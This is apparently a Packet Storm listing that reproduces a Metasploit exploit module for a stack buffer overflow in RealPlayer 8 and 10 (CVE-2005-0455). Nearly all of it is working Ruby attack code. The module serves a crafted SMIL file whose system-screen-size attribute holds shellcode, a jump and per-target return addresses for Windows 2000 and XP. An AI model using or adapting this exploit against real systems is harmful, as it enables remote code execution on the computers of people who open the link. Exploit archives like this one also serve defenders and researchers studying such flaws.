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packetstormMCPACKETSTORM:83059
HistoryNov 26, 2009 - 12:00 a.m.

RealNetworks RealPlayer SMIL Buffer Overflow

2009-11-2600:00:00
MC
packetstormsecurity.com
16

0.583 Medium

EPSS

Percentile

97.4%

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RealNetworks RealPlayer SMIL Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in RealNetworks RealPlayer 10 and 8.   
By creating a URL link to a malicious SMIL file, a remote attacker could   
overflow a buffer and execute arbitrary code.   
When using this module, be sure to set the URIPATH with an extension of '.smil'.  
This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8  
build 6.0.9.584.  
},  
'License' => MSF_LICENSE,  
'Author' => 'MC',   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2005-0455' ],  
[ 'OSVDB', '14305'],  
[ 'BID', '12698' ],  
],  
  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English', { 'Offset' => 608, 'Ret' => 0x75022ac4 } ],  
[ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English', { 'Offset' => 584, 'Ret' => 0x71aa2461 } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Mar 1 2005',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
cruft = rand_text_alpha_upper(1)  
bleh = rand_text_alpha_upper(11)  
  
sploit = rand_text_alpha_upper(target['Offset']) + payload.encoded   
sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V')  
sploit << [0xe8, -485].pack('CV')  
  
# Build the HTML content  
content = "<smil><head><layout><region id=\"#{cruft}\" top=\"#{cruft}\" /></layout></head>"  
content << "<body><text src=\"#{bleh}.txt\" region=\"size\" system-screen-size=\"#{sploit}\" /></body></smil>"  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content, { 'Content-Type' => 'text/html' })  
  
# Handle the payload  
handler(cli)   
end  
  
end  
`

0.583 Medium

EPSS

Percentile

97.4%